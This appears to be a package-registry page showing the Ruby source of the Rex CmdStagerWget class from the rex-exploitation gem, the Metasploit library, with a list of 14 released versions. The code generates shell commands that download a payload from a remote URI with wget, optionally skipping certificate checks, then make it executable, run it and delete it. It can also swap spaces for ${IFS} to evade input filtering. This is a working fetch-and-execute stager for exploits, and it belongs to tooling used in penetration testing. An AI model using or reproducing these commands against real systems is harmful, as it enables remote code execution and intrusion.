Sha256: dd776b5cfecdb41165fb381376bd9ee6ef90bd4a5ba14a8482fb7b5cf0aae795

Contents?: true

Size: 1.06 KB

Versions: 14

Compression:

Stored size: 1.06 KB

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /^Wget/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    cmds = []
    ncc  = '--no-check-certificate'

    if opts[:ssl]
      cmds << "wget -qO #{@payload_path} #{ncc} #{opts[:payload_uri]}"
    else
      cmds << "wget -qO #{@payload_path} #{opts[:payload_uri]}"
    end

    cmds
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

14 entries across 14 versions & 1 rubygems

Version Path
rex-exploitation-0.1.28 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.27 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.26 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.25 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.24 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.23 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.22 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.21 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.20 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.19 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.18 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.17 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.16 lib/rex/exploitation/cmdstager/wget.rb
rex-exploitation-0.1.15 lib/rex/exploitation/cmdstager/wget.rb